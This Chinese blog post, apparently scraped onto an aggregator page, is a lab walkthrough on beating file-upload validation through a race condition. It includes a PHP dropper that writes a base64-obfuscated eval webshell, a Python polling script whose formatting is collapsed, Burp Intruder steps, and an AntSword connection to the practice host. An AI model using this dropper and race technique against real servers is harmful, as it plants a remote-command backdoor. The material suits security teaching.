当前位置: 首页 > news >正文

文件上传-条件竞争绕过

条件竞争原理:
条件竞争的逻辑是代码逻辑问题:当我们文件上传到服务器时,先对文件进行保存,然后对文件的后缀名进行判断,符合白名单的保存,不符合就删除,但在删除之前,有另一个对服务器发起的请求,要访问这个文件,那么就可能造成文件被读取和访问。这就是条件竞争。
首先准备一个php文件:
1.php

<?php
file_put_contents('2.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7ID8+'));
echo "一句话木马已生成: 2.php";
?>

这是将一句话木马写入2.php中,并且一句话木马被base64加密
其次准备竞争的代码,就是对服务端发起请求,请求访问上传的文件
a.py

import requests
import time
url = "http://IP:端口/upload/1.php"
while 1:res=requests.get(url)print( res.status_code)if res.status_code==200:print(res.content)
time.sleep(0.1)

然后就是打开burp,进行抓包,营造出无数个人去上传 1.php 的场景
具体步骤演示:
首先,进入靶场
image
其次burp抓包,进入intruder模块,payload选择无,然后选择无限制次数访问
image
接着运行a.py,然后进行爆破
等到终端出现200成功的状态码,就可以去访问http://home.edu.ltsec.com:51746/upload/2.php,会出现空白页面
接着就可以用蚁剑进行连接了
连接链接
http://home.edu.ltsec.com:51746/upload/2.php
需要注意的是,我们的木马是进行base64加密的,所以连接的时候蚁剑要进行base64解密
image

http://www.wxhsa.cn/company.asp?id=6826

相关文章:

  • 文件包含漏洞
  • 9.17 CSP-S模拟23/多校A层冲刺NOIP2024模拟赛19 改题记录
  • Java基本语法
  • 在AI技术快速实现创想的时代,挖掘前端学习新需求成为关键——某知名编程教育平台需求洞察
  • 负载均衡层详解part3-lvs
  • 4. MySQL 索引优化实战
  • 算法课第一周作业
  • 线段树懒标记模板
  • 谁在我这位置遗留或丢失了一颗口罩爆珠(好像是桃子味)?
  • python小计划——学生管理系统
  • C++ 并发
  • UML 5章
  • 《微服务事务管理》 - 教程
  • python之socket udp服务器实现
  • kylin SP3安装mysql 8.4.5
  • Unity中是否可以禁用GC
  • 经典SQL语句大全
  • 开源软件图形库
  • IvorySQL 与 deepin 完成兼容性认证,共创开源生态新篇章
  • 在 Nginx 上搭建静态站点
  • 测试
  • 认真做膜你赛
  • 使用GitHub Dork快速发现漏洞:我的第一个Bugcrowd漏洞挖掘实战
  • kylin SP3安装mysql8.0.41
  • DIFY 项目中通过 Makefile 调用 Dockerfile 并采用 sudo make build-web 命令构建 web 镜像的方法和注意事项
  • 代码随想录算法训练营第一天 | 704. 二分查找、27. 移除元素、209.长度最小的子数组
  • 从 MLPerf Storage v2.0 看 AI 训练中的存储性能与扩展能力
  • Revit二次开发 钢筋生成API(二)
  • 创建会计凭证报错:FI/CO接口:待更新的不一致的FI/CO凭证标题数据(转)
  • Uri uri = new Uri(Path); 这行代码的作用